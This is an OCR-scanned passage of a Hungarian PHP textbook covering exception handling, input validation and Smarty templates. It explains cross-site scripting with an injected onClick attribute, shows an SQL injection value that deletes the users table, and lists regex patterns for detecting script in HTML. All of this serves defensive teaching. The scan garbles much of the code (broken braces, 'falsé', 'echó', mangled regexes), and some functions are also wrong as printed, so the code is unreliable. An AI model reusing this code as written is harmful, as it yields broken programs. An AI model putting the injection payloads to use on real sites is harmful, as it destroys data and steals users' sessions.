public function init() { if ( ($this->resource = resource_connect()) return falsé;
}

== falsé)

{

return true;
} }

100

PHP fejlesztés felsőfokon

Amikor a felhasználó létrehoz egy új ResourceClass objektumot, nem csinálunk semmit, így hiba léphet fel. Ahhoz, hogy ténylegesen elindítsunk egy esetleg hibás kódot, az init () tagfüggvényt hívjuk meg, ami következmény nélkül sikertelen lehet. A harmadik módszer általában a legjobb, és ezt az a tény is megerősíti, hogy ez a konstruktőrön belüli hibák kezelésének szabványos módja az olyan hagyományosabb objektumközpontú nyelvekben, mint a C++. A C++-ban a konstruktorhívásoknál elhelyezett catch blokkokban szereplő takarítás valamivel fontosabb, mint a PHP-ben, mert esetleg memóriakezelésre lehet szükség. Szerencsére a PHP önműködően intézi a memóriakezelést, mint itt is: class Stillborn { public function______ construct() throw new Exception;
}

{

public function___ destruct() { print "destructing\n" ; } } try {

$sb = new Stillborn;
}

catch(Stillborn $e)

{}

Ha a fenti kódot futtatjuk, semmilyen kimenetet nem kapunk: >php stillborn.php > A Stillborn osztály azt illusztrálja, hogy az objektum destruktorai nem hívódnak meg, ha a konstruktorban kivétel keletkezik. Ennek oka az, hogy az objektum valójában nem is létezik, ha a konstruktőrből nem térünk vissza.

Felső szintű kivételkezelő beállítása
A PHP érdekes szolgáltatása, hogy képesek vagyunk alapértelmezett kivételkezelőt beállítani, amelynek meghívására akkor kerül sor, ha egy kivétel eléri a legfelső szintű hatókört, és elfogására még mindig nem került sor. Ez a kezelő abban különbözik a normál catch blokkoktól, hogy egyetlen függvényből áll, ami bármilyen el nem fogott kivételt elkap, annak típusától függetlenül (még azokat a kivételeket is, amelyek nem az Exception-től származnak). Az alapértelmezett kivételkezelők különösen hasznosak a webes alkalmazásokban, ahol meg szeretnénk akadályozni, hogy a felhasználó hibaüzenetet kapjon, vagy egy oldal csak részben jelenjen meg, ha el nem kapott kivétel keletkezik. Ha használjuk a PHP át-

_

3. fejezet • Hibakezelés

101

meneti kimenettárolási (output buffering) lehetőségét, hogy az oldal teljes feldolgozásáig késleltessük a tartalommegjelenítést, elegánsan kijavíthatjuk a hibát és átadhatjuk a felhasználónak a kért oldalt. Alapértelmezett kivételkezelő beállításához egy olyan függvényt kell meghatároznunk, ami egyetlen paramétert vár: function default_exception_handler($exception) A függvényt így állítjuk be: $old_handler = set_exception_handler('default_exception_handler'); Itt az előzőleg beállított alapértelmezett kivételkezelőt kapjuk vissza (ha az létezik). A felhasználói kivételkezelők egy veremben tárolódnak, ezért a korábbi kezelőt úgy állíthatjuk vissza, hogy annak egy másolatát a verem tetejére helyezzük: set_exception_handler($old_handler); De azt is megtehetjük, hogy kivesszük a veremből a felső elemet: restore_exception_handler(); Ez jelentős rugalmasságot nyújt, például abban az esetben, ha egy felhasználót egy lap előállítása közben fellépett hiba miatt másik oldalra kell átirányítanunk. Ahelyett, hogy minden kérdéses utasítást önálló try blokkba csomagolnánk, beállíthatunk egy alapértelmezett kivételkezelőt, ami az átirányítást kezeli. Mivel hiba akkor is bekövetkezhet, amikor az oldal egy része már megjelent, az átmeneti kimenettárolást be kell kapcsolnuk. Ennek egyik módja, hogy minden beágyazott program (szkript) elején meghívjuk ezt: ob_start(); A másik, hogy a php. ini állományban ezt a beállítást adjuk meg: output_buffering = On Az előbbi előnye, hogy az egyes beágyazott programokban a viselkedést könnyebben kibe kapcsolhatjuk, és a kód hordozhatóbb is lesz (mivel a viselkedést a program szabályozza, nem alapértelmezettől eltérő . ini beállítást igényel). A második megoldás viszont azzal az előnnyel jár, hogy egyetlen beállításon keresztül engedélyezhetjük az átmeneti kimenettárolást valamennyi beágyazott programban, így nem kell mindenütt külön {}

102

PHP fejlesztés felsőfokon

kódot beszúrnunk erre a célra. Én ha olyan kódot írok, amiről tudom, hogy csak a saját kiszolgálómon fog futni, általában a könnyebbséget jelentő . ini beállítást részesítem előnyben. Ha viszont olyan szoftvert készítek, amelyet mások fognak futtatni kiszolgálóikon, a leginkább hordozható megoldás mellett döntök. Többnyire már a projekt elején világos, milyen megközelítést kell alkalmazni. Az alábbi példa egy olyan alapértelmezett kivételkezelőt mutat, ami bármilyen el nem fogott kivétel esetén automatikusan létrehoz egy hibaoldalt:
<?php

function redirect_on_error( $e) ob_end_clean(); include("error.html");
}

{

set_exception_handler("redirect_on__error"); ob_start(); // ...ide tetszőleges kód jöhet ?> Ez a kezelő úgy támaszkodik az átmeneti kimenettárolásra, hogy amennyiben egy el nem kapott kivétel eléri a legfelső hívási hatókört, minden addig előállított tartalmat elvet, és helyette egy HTML hibaoldalt ad vissza. A kezelő tovább javítható, ha azzal a képességgel bővítjük, hogy egyes hibatípusokat különbözőképpen kezeljen. Ha például egy AuthException kivételt váltunk ki, a felhasználót egy hibaoldal megjelenítése helyett a bejelentkező oldalra irányíthatjuk:
<?php function redirect_on_error($e) { ob_end_clean(); if(is_a($e, "AuthException")) { header("Location: /login.php"); } else { include("error.html"); } } set_exception_handler("redirect_on_error"); ob_start(); // ...ide tetszőleges kód jöhet ? >

3. fejezet • Hibakezelés

103

Adatérvényesítés
A webes programozásban a hibák egyik jelentős forrása az ügyfél által megadott adatok ellenőrzésének (érvényesítésének) elmulasztása. Az adatérvényesítés azt jelenti, hogy ellenőrizzük, hogy az ügyféltől kapott adatok valóban a kívánt formájúak-e. A nem érvényesített adatok kétféle jelentősebb hibát eredményezhetnek: • adatszemetet, és • rosszindulatúan módosított adatokat. Az adatszemét olyan információ, ami egyszerűen nem felel meg az előírásoknak. Vegyünk például egy felhasználói bejelentkezési űrlapot, amelyen fel kell tüntetni a földrajzi helyet. Ha a felhasználó szabadon beírhat bármit, az állam helyén például ilyesmiket találhatunk: • New Yrok (elírás) • Lalalala (szándékos) Gyakori megoldás, hogy ezt a problémát lenyíló listával kerülik meg, amelyből kiválasztható az állam neve. Ez azonban csak félig oldja meg a gondot: azt megakadályozza, hogy a felhasználó véletlenül rosszul adja meg az államot, de az ellen már nem nyújt védelmet, ha valaki rosszindulatúan módosítja a POST adatokat, hogy nem létező beállítást adjon meg. Védelmet az adhat, ha mindig érvényesítjük az adatokat a programban is. Ennek egyik módja, hogy „saját kezűleg" ellenőrizzük a felhasználói bemenetet, mielőtt bármit csinálnánk vele: <?php $STATES = a r r a y( ' a l ' => 'Alabama', /* ... * / , 'wy' => 'Wyoming1); function is_valid_state($state) { global $STATES; return array_key_exists($STATES, $state) ;
} ?>

Én gyakran választom azt a megoldást, hogy érvényesítő tagfüggvényeket adok az osztályokhoz. Ezek egységbe zárják az ellenőrzést, és megakadályozzák, hogy véletlenül kihagyjam valamelyik tulajdonság érvényesítését. íme egy példa: <?php
class User { public id; public name; public city;

104

PHP fejlesztés felsőfokon

public state; public zipcode; public function __construct($attr = falsé) { if($attr) { $this->name = $attr['name']; $this->email = $attr['email']; $this->city = $attr['city']; $this->state = $attr['state']; $this->zipcode = $attr['zipcode']; } } public function validateO { if(strlen($this->name) > 100) { throw new DataException; } if (strlen($this->city) > 100) { throw new DataException; } if(!is_valid_state($this->state)) { throw new DataException; } if(!is_valid_zipcode($this->zipcode)) { throw new DataException; } } } ?>

A validate () tagfüggvény a User objektum valamennyi tulajdonságát ellenőrzi, beleértve a következőket: • az adatbázismezők hosszának való megfelelés, • az idegen kulcs adatmegszorítások kezelése (például hogy a felhasználó által megadott állam létezik-e), • az űrlapadatok megszorításainak kezelése (például hogy az irányítószám érvényes-e). A validate () tagfüggvény használatba vételéhez csak létre kell hoznunk egy új User objektumot az ellenőrizendő felhasználói adatokkal: $user = new User($_P0ST) ; Majd meg kell hívnunk rá az érvényesítő függvényt: try { $user->validate();
}

3. fejezet • Hibakezelés

105

catch (DataException $e) { /* Ide jön az érvénytelen adat esetén végrehajtandó művelet */
}

Az, hogy a validate () nem egyszerűen egy true vagy falsé értéket ad vissza, hanem egy kivételt alkalmazunk, ismét azzal az előnnyel jár, hogy ha ezen a ponton egyáltalán nem is szeretnénk try blokkot, megtehetjük, hogy a kivételt addig továbbítjuk a hívási láncon, amíg a megfelelő kezelőhöz nem ér. A rosszindulatú adatok közé természetesen nem csak nem létező államok tartozhatnak. A rossz adatokhoz kapcsolódó érvényesítési támadások legnevezetesebbikét cross-site scripting attack (kb. „helyközi programtámadás") néven emlegetik, és abból áll, hogy rosszindulatú HTML kódot (általában ügyfél oldali kódcímkéket, például JavaScript címkéket) rejtenek el egy felhasználói űrlapon. Lássunk egy egyszerű példát. Webhelyünk felhasználóinak megengedjük, hogy a webhelyen saját honlapjukra mutató hivatkozásokat helyezzenek el, amelyek valahogy így jelennek meg: <a href="<?= $url ?>">Click on my home page</a> Itt az url a felhasználó által megadható tetszőleges adatot jelent, így beírhatnak valami ilyesmit: $url ='"http://example.foo/" onClick="bad_javascript_func foo="'; Amikor a lapot betöltik, a következő megjelenítésére kerül sor: <a href="http://example.foo/" onClick="bad_javascript_func foo="> Click on my home page </a> Amikor valaki a hivatkozásra kattint, a fenti kód következtében végrehajtódik a rosszindulatú bad_javascript_func. Sőt, mivel a mi weblapunk indítja el, a JavaScript kód teljes hozzáféréssel rendelkezik a felhasználónak az adott tartományhoz tartozó sütijei felett, ami nagyon rossz, mert így a rosszindulatú felhasználók módosíthatják, ellophatják vagy más módon felhasználhatják mások adatait. Mondanunk sem kell, hogy a weblapokon megjelenített felhasználói adatok megfelelő érvényesítése létfontosságú minden webhely biztonsága szemponjából. A kiszűrni kívánt kódcímkéket természetesen saját működési szabályaink határozzák meg; én például drákói szigorral visszautasítok minden szöveges adatot, ami JavaScript lehet.

106

PHP fejlesztés felsőfokon

íme egy példa:
<?php $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML [ ] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[]

= = = = = = = = = = = = = = = =

"!javascriptAs*:!is"; "!vbscri?pt\s*:!is"; "!<\s*embed.*swf!is"; "!<[A>]*[Aa-z]onabort\s*=!is"; " ! < [ A > ] * [ Aa-z] onblur\s*= ! is " ; "!<[A>]*[Aa-z]onchange\s*=!is" ; " ! < [ " > ] * [Aa-z]onfocus\s*=!is"; "! < [ A > ] *[Aa-z]onmouseout\s*=!is"; " ! < [ " > ] * [Aa-z]onmouseover\s*=!is"; " ! < [ A>]*[Aa-z]onload\s*=!is" ; "!<[A>]*[Aa-z]onreset\s*=!is"; "!<[A>]*[Aa-z]onselect\s*=!is " ; "!< [ A>]*[Aa-z]onsubmit\s*=!is"; " !< [ A>]*[Aa-z]onunload\s*=!is"; "!<[A>]*[Aa-z]onerror\s*=!is"; "!<[A>]*[Aa-z]onclick\s*=!is" ;

function unsafe_html($html) { global $UNSAFE_HTML; $html = html_entities($html, ENT_COMPAT, ISO-8 8 5 9 -1 ); foreach ( $UNSAFE_HTML as $match ) { if( preg_match($match, $html, $matches) ) { return $match; } } return falsé; } ?>

Ha a közvetlenül címkékbe épített szövegeket engedélyezni kívánjuk (mint az előző példában), célszerű minden olyan szöveget kiszűrnünk, ami ügyfél oldali kódra hasonlít. Lássunk egy példát:
$UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[ ] = = = = = = = = = = = = = "!onabort\ s*= !is " ; "!onblur\s*=!is"; "!onchange\s*=!is"; "!onfocus\s*=!is"; "!onmouseout\s*= !is"; "!onmouseover\s*=!is"; "!onload\s*=!is"; "!onreset\s *= !is"; "!onselect\s*=!is"; "!onsubmit\s*=!is"; "!onunload\s*=!is"; "!onerror\s*=!is"; " !onclÍck\s*=!is";

3. fejezet • Hibakezelés

107

Gyakran vonzó lehet, hogy bekapcsoljuk a magic_quotes_gpc beállítást a php. ini állományban, ami automatikusan idézőjelbe teszi a beérkező adatokat. Én magam nem szeretem a magic_quotes-t. Egyeseket hamis biztonságérzetbe ringathat, pedig könnyen írható olyan kód, ami az említett példához hasonlóan akkor is képes kárt okozni, ha a magic_quotes beállítást bekapcsoljuk. Adatérvényesítéskor (különösen a megjelenítendő adatoknál) gyakran választhatunk aközött, hogy a szűrést és átalakítást az adatok tárolásakor (inbound, bejövő szűrés), vagy az adatok megjelenítésekor (outbound, kimenő szűrés) végezzük el. A bemenet szűrése általában hatékonyabb és biztonságosabb. Csak egyszer kell végrehajtani, és a lehető legkisebbre csökkenthető annak kockázata, hogy megfeledkezünk az ellenőrzésről, ha több helyen kell megjeleníteni az adatokat. A kimenet szűrése mellett két érv szólhat: • Testreszabható szűrőkre van szükségünk (például többnyelvű szűréshez). • Tartalomszűrőink gyakran változnak. A második esetben valószínűleg az a legjobb, ha az ismert rosszindulatú tartalmat megpróbáljuk a bemeneten kiszűrni, és a kimenetre egy második szűrést alkalmazunk.

További adatérvényesítési kérdések

A weblapok megjelenítése nem az egyetlen hely, ahol az érvényesítetlen adatokat kihasználhatják. A felhasználóktól érkező minden adatot ellenőrizni kell, és használat előtt „ki kell takarítani". Az adatbázis-lekérdezésekben például a beszúrandó adatokat megfelelően idézőjelbe kell tenni. Az ilyen átalakító műveleteket segédfüggvények támogatják. Nézzük az úgynevezett SQL-beszúrási (SQL injection) támadásokat. Tegyük fel, hogy az alábbi lekérdezéssel rendelkezünk: $query = "SELECT * FROM users where userid = $userid"; Az említett támadásfajta úgy működik, hogy ha a $userid változót nem érvényesítjük, egy rosszindulatú felhasználó a következőt adhatja meg: $userid = "10; DELETE FROM user s; "; Mivel a MySQL (számos más RDBMS rendszerhez hasonlóan) támogatja több lekérdezés egyidejű végrehajtását, a fenti érték ellenőrizetlen átadása következtében a users táblát elveszítjük. És ez csak egy az ilyen jellegű támadások közül. A tanulság az, hogy a lekérdezésekben mindig minden adatot érvényesítenünk kell.

108

PHP fejlesztés felsőfokon

Mikor használjunk kivételeket?
Számos nézet létezik arra vonatkozóan, hol és hogyan célszerű kivételeket alkalmazni. Egyes programozók szerint a kivételeknek csak a végzetes, illetve a valószínűleg végzetes hibákat kell jelezniük. Mások a kivételeket a kódlogika vezérlésének alapvető elemeiként használják. A Python programozási nyelv jó példa az utóbbi megközelítésre; e nyelvben a kivételek szokványos vezérlési szerkezetnek számítanak. A döntés nagyrészt az alkalmazott stílustól függ, és én ösztönösen bizalmatlan vagyok azokkal a nyelvekkel szemben, amelyek megpróbálnak előírni egy bizonyos stílust. Ama döntést megkönnyítendő, hogy hol és mikor használjunk kivételeket, érdemes átfutni a buktatók alábbi listáját: • A kivételek vezérlési szerkezetek, mint az if {}, az else{}, a while{} és a foreach{}. • A kivételek nem helyi vezérlésre (például egy kódblokkból egy másik hatókörbe ugrásra) való használata nehezen átlátható kódot eredményez. • A kivételek némileg lassabbak a hagyományos vezérlési szerkezeteknél. • A kivételek növelik a memóriaszivárgás esélyét.

További olvasmányok
A helyközi támadásokkal és a rosszindulatú HTML kódokkal kapcsolatban az első számú forrás a CERT CA-2000-02-es ajánlása, ami a www. cert. org/advisories/ CA-2 00 0-02.html címen érhető el. Mivel a kivételek többé-kevésbé újdonságnak számítanak a PHP-ben, használatukkal kapcsolatban valószínűleg érdemesebb Java és Python könyveket lapozgatnunk. A kivételek nyelvtana a PHP-ben hasonló a Javáéhoz és a Pythonéhoz (bár - főleg az utóbbihoz képest - finom különbségeket mutat), az alapötlet viszont azonos.

Megvalósítás PHP nyelven: a sablonok és a Világháló
A webes programozásban gyakran használt objektumközpontú programozási minta a modell-nézet-vezérlő (MVC, Model-View-ControUer). Az MVC megköveteli, hogy az alkalmazást három összetevőre bontsuk: • Modell - A rendszer azon belső része, amely a logika központi részét hajtja végre. • Nézet - A rendszer valamennyi kimenetének formázásáról gondoskodó rész. • Vezérlő - A bemenetet feldolgozó, és azt a modell felé közvetítő rész. Az MVC eredetileg olyan gyors asztali alkalmazások fejlesztésére szolgáló módszer volt a Smalltalk nyelvben, amelyekben egy adott folyamat többféleképpen fogadhat adatokat és állíthat elő kimenetet. A legtöbb webes rendszer azonban egyetlen módon fogad adatokat (valamilyen HTTP kérelmen keresztül), a bemenet feldolgozását pedig annak méretétől függetlenül maga a PHP végzi, ezáltal nem kell törődnünk a vezérlő összetevővel. Miután a vezérlőt eltávolítottuk, csak az marad hátra, hogy szétválasszuk az alkalmazáslogikát a megjelenítési kódtól. Ez a következő előnyöket biztosítja: • Az alkalmazás könnyebben módosítható lesz. A tiszta szétválasztás révén könnyen módosíthatjuk mind az alkalmazáslogikát, mind az oldalak külső megjelenését, anélkül, hogy ez hatással lenne a másik összetevőre. • Tisztább kódot kapunk. Mivel arra kényszerülünk, hogy eldöntsük, mi tartozik az alkalmazáslogikához és mi a megjelenítési kódhoz, a program sokkal jobban átlátható. • Maximalizálhatjuk a megjelenítési kód újrahasznosítását. A PHP-ben megszokott a kódok újrahasznosítása, de ha az alkalmazáskódot összekeverjük a HTML-lel, ez sokkal nehezebb.

i^

110

PHP fejlesztés felsőfokon

Az MVC-t webes környezetben általában sablonok segítségével valósítják meg. Sablonrendszer használatánál a HTML-t és a megjelenítési kódot egy sablon tartalmazza. A megjelenítéssel nem foglalkozó alkalmazáslogika feldolgozza a kérelmeket, elvégzi a szükséges műveleteket, majd átadja a nyers adatokat a sablonnak, hogy az formázott kimenetet állítson elő. A PHP-ben számos módja van a sablonok alkalmazásának. Ebben a fejezetben a Smarty sablonnyelwel ismerkedünk meg, ami az egyik legnépszerűbb és legrugalmasabb megoldás, de azt is megmutatjuk, hogyan dolgozhatunk ki saját sablonrendszert, ha a Smarty-t nem találjuk számunkra megfelelőnek. A Smarty tisztán sablonnyelv, ezért igen egyszerű, de amint vezérlési szerkezeteket, egyéni függvényeket és módosítókat kezdünk használni, hamar bonyolulttá válhat. Ha valaki képes összetett logikát megvalósítani a Smarty-ban, az ugyanerre a PHP-ben is képes ami nem feltétlenül rossz dolog. A PHP maga is remekül megfelel sablonnyelvnek, hiszen olyan eszközöket biztosít, amelyekkel a formázási és megjelenítési utasítások egyszerűen beépíthetők a HTML kódba. Ha olyan környezetben dolgozunk, ahol a tervezők jól ismerik a PHP-t, és az egész csapat (beleértve a tervezőket és a fejlesztőket is) képes fegyelmezetten szétválasztani a működési és megjelenítési kódot, formális sablonnyelvre nincs is igazán szükség. Nekem ugyan soha nem volt gondom olyan tervezőkkel, akik ne tudtak volna mit kezdeni a HTML-be épített PHP kódokkal, de ismerőseim között akadtak, akik szenvedtek olyan tervezőcsapattal, amelynek tagjai nem tudták kezelni az oldalakba ágyazott PHP-t, de a Smarty-val sikeresen megoldották a gondjaikat. Még ha a csapat tud is bánni a PHP-vel, a sablonrendszerek rákényszerítik őket a megjelenítés és az alkalmazásvezérlés szétválasztására, ami jó. A megjelenítési és működési kód formális szétválasztása mellett a Smarty-hoz hasonló sablonnyelvek legnagyobb előnye, hogy a nem megbízható végfelhasználóknak anélkül adnak lehetőséget dinamikus oldalak készítésére, hogy hozzáférést nyújtanának a PHP kódhoz. Ilyen megoldásra lehet szükség például, amikor virtuális bolt nyitására, testreszabható személyes oldalak készítésére vagy sablon alapján elektronikus levél írására szeretnénk lehetőséget adni.

Smarty
A Smarty az egyik legnépszerűbb és legszélesebb körben használt sablonrendszer a PHP számára. Monté Ohrt és Andrej Zmijevszki dolgozták ki mint gyors és rugalmas sablonrendszert az alkalmazási és megjelenítési kód szétválasztásának ösztönzésére. A Smarty a sablonfájlokban elhelyezett különleges jelek segítségével működik, melyeket tárolt PHP programmá fordít. A fordítás a háttérben zajlik és a futás sebessége elfogadhatóan gyors.

fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

111

A Smarty jócskán tartalmaz felesleges dolgokat is, amiket nem érdemes használnunk. A legtöbb sablonrendszerhez hasonlóan olyan szolgáltatásokkal duzzasztották fel, amelyek révén a sablonokban bonyolult kódokat helyezhetünk el. Természetesen igényeinktől függ, mely szolgáltatásokat tiltjuk le vagy hagyjuk figyelmen kívül. (Erről a fejezetben később még ejtünk szót.)

A Smarty telepítése
A Smarty, amelyet a http: / / smarty. php. net címről tölthetünk le, PHP osztályok halmazából áll. Én gyakran használom a PEAR-t, így azt javaslom, a Smarty-t vegyük bele a PEAR include elérési útjába. A Smarty ugyan nem PEAR projekt, de nincsenek köztük névütközések, tehát biztonságosan elhelyezhető a PEAR hierarchiában. Ha letöltöttük a Smarty-t, másoljuk minden könyvtárát a PEAR egy alkönyvtárába, valahogy így;
> tar zxf Smarty-x.y.z.tar.gz > mkdir /usr/local/lib/php/Smarty

> cp -R Smarty-x.y.z/libs/* /usr/local/lib/php/Smarty Természetesen az /usr/local/lib/php-nek szerepelnie kell a php. ini állomány include elérési útjában. Ezután könyvtárakat kell létrehoznunk, amelyekből a Smarty kiolvashatja beállító- és sablonfájljait, illetve helyet kell biztosítanunk a lefordított sablonoknak és az átmenetileg tárolt fájloknak is. A beállítási és nyerssablon-könyvtárakat én általában az állomás dokumentumgyökerébe (DocumentRoot) helyezem, így ha az a /data/www/www.example . org/htdocs, az említett könyvtárak a következők lesznek: /data/www/www.example.org/templates /data/www/www.example.org/smarty_config A Smarty belsőleg kétszintű átmeneti tárolást tartalmaz. Az első szintet az jelenti, hogy amikor először tekintünk meg egy sablont, a Smarty tiszta PHP kódra fordítja azt, és menti az eredményt. Ez a tárolási lépés megakadályozza, hogy a sablonkódokat az első kérelem után is minden alkalommal fel kelljen dolgozni. A második szint, hogy a Smarty az éppen megjelenített tartalom átmeneti tárolását is megengedi. E szint engedélyezésével a fejezetben később foglalkozunk. A lefordított sablonokat és tárolt fájlokat a webkiszolgáló írja lemezre a sablonok első felhasználásakor, így könyvtáraikhoz annak a felhasználónak, akinek a nevében a kiszolgáló

112

PHP fejlesztés felsőfokon

fut, írási jogosultsággal kell rendelkeznie. Biztonsági megfontolásokból én nem szeretem, ha a webkiszolgáló a ServerRoot alatt bármilyen állományt módosíthat, ezért az említett könyvtárakat egy másik könyvtárfába helyezem: /data/cachefiles/www.example.org/teinplates_c /data/cachefiles/www.example.org/smarty_cache A legegyszerűbben úgy értesíthetjük a Smarty-t a könyvtárak helyéről, ha a Smarty alaposztályt kibővítjük minden alkalmazás (nem minden oldal) számára, amely használja. Az example. org Smarty alosztályát például ezzel a kóddal hozhatjuk létre: require_once 'Smarty/Smarty.class.php';

class Smarty_Example_Org extends Smarty { public function ______construct()
{

$this->Smarty0; $this->template_dir /data/www/www.example.org/templates'; $this->config_dir /data/www/www.example.org/smarty_config' $this->compile_dir '/data/cachefiles/www.example.org/templates_c' $this->cache_dir '/data/cachefiles/www.example.org/smarty_cache } }

Első Smarty sablonunk: Hello, Világi
Most, hogy a Smarty a helyére került, és a könyvtárakat létrehoztuk, megírhatjuk első Smarty oldalunkat. Az alábbi tiszta PHP oldalt fogjuk sablonná alakítani:
<html> <body> Hello <?php if(array_key_exists('name' echó $_COOKIE['name']; } else { echó "Stranger"; } ?> </body> </html>

$_COOKIE)) {

|4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

113

A sablon elérési útja a /data/www/www. example . org/templates/hello. tpl lesz, és így fog kinézni:
<html> <body> Hello {$name} </body> </html>

A Smarty-kódok alapértelmezés szerint kapcsos zárójelek közé kerülnek. A hello, php oldal, amely ezt a sablont használja, így fest: require_once 'Smarty_ExampleOrg.php'; //Saját Smarty osztályunk $smarty = new Smarty_ExampleOrg; $name = array_key_exists{'name', $_COOKIE) ? $_COOKIE['name'] 'Stranger'; $smarty->assign('name', $name); $smarty->display('index.tpl');

:

Jegyezzük meg, hogy a sablonban, illetve a hello.php-ben szereplő $name két különböző változó. Ahoz, hogy a $name változó elérhető legyen a sablonban, hozzá kell rendelnünk a Smarty névtérhez, az alábbi kód végrehajtásával: $smarty->assign('name', $name); Ha a www. example. org/hello. php oldalt olyan sütitömbbel kérjük le, amely tartalmaz name változót, a következő oldalt kapjuk:
<html> <body> Hello George </body> </html>

Lefordított sablonok a háttérben
Amikor a hello .php-t először kérik le, és meghívódik a display (), a Smarty észreveszi, hogy a sablonnak nincs lefordított változata. Ezért feldolgozza a sablont, és a benne szereplő Smarty-kódokat megfelelő PHP kódokká alakítja. Ezután az információt a templates_c könyvtár egy alkönyvtárába menti. A hello .php lefordított sablonja így fest: <?php /* Smarty version 2 . 5 . 0 , created on 2003-11-16 15:31:34 compiled from hello.tpl */ ?>

114

PHP fejlesztés felsőfokon

<html> <body> Hello <?php echó $this-> tpl_vars['name']; ?> </body> </html>

Ha ezután kérelem érkezik, a Smarty megállapítja, hogy a sablonhoz már létezik lefordított változat, így újrafordítás helyett azt használja. A $this->tpl_vars [ ' name ' ] a {$name} Smarty-kód PHP fordítása. A tömböt a $smarty->assign [ ' name ' , $name] hívás töltötte fel a hello .php-ben. A Smarty vezérlési szerkezetei Az egyszerű változóbehelyettesítés használata a Smarty-t látszatra rendkívül erőteljessé teszi. A sablonok világosak és egyszerűek, és a háttérkód sem bonyolult. Persze eddigi példáink mesterségesek voltak - a valódi próbatétel az, ha valós környezetben próbáljuk ki a terméket. Az első kihívással valószínűleg akkor találkozunk egy sablonrendszer használata során, amikor táblázatokat kell építenünk és feltételek alapján kell adatokat megjelenítenünk. Ha webhelyünk egy bejegyzett felhasználója meglátogatja a hello .php oldalt, egy hivatkozást szeretnénk megjeleníteni az adott taghoz tartozó bejelentkező oldalra. Két lehetőségünk van. Az első, hogy ezt a PHP kódban végezzük el, az alábbihoz hasonló módon: /* hello.php */ $smarty = new Smarty_ExampleOrg; $name = array_key_exists('name', $_COOKIE) ? $_COOKIE['name'] ** ' Stranger'; if($name == 'Stranger') { $login_link = "Click <a href=\"/login.phpX">here</a> to login."; } else { $login_link = ' ' ; } $smarty->assign('name', $name); $smarty->assign('login_link', $login_link); $smarty->display('hello.tpl');

:

Ezután a sablonnal meg kell jelentetnünk a $login_link-et, ami lehet, hogy be sincs állítva: {* A Smarty sablonokban a megjegyzések így kezdődnek, több sort is átfoghatnak. hello.tpl
*}

és

4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

115

<html> <body> Hello {$name}.<br> {$login_link;} </body> </html>

Ez a módszer sajnos megsérti az alkalmazási és megjelenítési kód szétválasztásának elvét. A második megoldás, hogy a megjelenítési rétegre bízzuk a döntést, hogy megjeleníti-e a bejelentkezési hivatkozást, és ha igen, hogyan:
{* hello.tpl *} <html> <body> Hello {$name}.<br> { if $narne == "Stranger" } Click <a href="/login.php">here</a> to login. { /if } </body> </html> /* hello.php */ $smarty = new Smarty_ExainpleOrg; $name = array_k;ey_exists ( ' name ' , $_COOKIE) ? $_COOKIE ['name ' ] : ' Stranger'; $smarty->assign{'name', $name); $smarty->display('hello.tpl');

A tiszta PHP változat

Mindkét példa hosszabb, mint a tisztán csak PHP-t használó változat:
<html> ^ <body> <?php $name = array_k;ey_exists($_COOKIE['name'])? $_COOKIE['name']:'Stranger' ?> Hello <?php echó $name; ?>.<br><?php if($name == 'Stranger') { ?> Click <a href="/login.php">here</a> to login. <?php } ?> </body> </html>

116

PHP fejlesztés felsőfokon

Ez nem szokatlan. A nyers kódot tekintve a sablonra épülő megoldások mindig több kódot tartalmaznak, mint a sablont nem használók. Az elvonatkoztatás több helyet igényel. A sablonrendszerek célja nem az, hogy a kódtár kisebb legyen, hanem az, hogy a különböző célt szolgáló kódokat szétválasszuk.

A teljes feltételrendszert nyújtó if-elseif-else utasításokon kívül a Smarty a f oreachen keresztül a tömbök ciklussal való feldolgozását is támogatja. íme egy egyszerű sablon, amely kiírja az éppen érvényes környezeti változókat: {* getenv.tpl *} <html> <body> <table> {foreach from=$smarty.env key=key item=value } <trxtd>{$key}</tdxtd>{$value}</tdx/tr> {/foreach} </table> </body> </html>
/* getenv.php */ $smarty = new Smarty_ExampleOrg; $smarty->display('getenv.tpl');

A fenti példában láthatjuk a „varázserejű" $ smarty változót is, ami egy társításos tömb, melynek segítségével elérhetjük a PHP „szuperglobálisait" (például $_COOKIE, $_GET), illetve a Smarty beállítási változóit. A szuperglobálisok elérése a $ smarty. cookie, $smarty. get stb. formában történhet. A tömbelemekhez úgy férhetünk hozzá, hogy egy elválasztó pont után hozzáfűzzük az elem kisbetűs nevét; a $COOKIE [ ' név' ] például a $smarty. cookie. név formában érhető el. Ez azt jelenti, hogy a hellós példa teljes kódját elhelyezhetjük egy Smarty sablonban: {* hello.tpl *} <html> <body> {if $smarty.cookie.name } Hello {$smarty.cookie.name}.<br> Click <a href="/login.php>here</a> to login. {else}
Hello Stranger. {/if} </body> </html>

4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló

117

/* hello.php */ $smarty = new Smarty_ExampleOrg; $smarty->display('hello.tpl');

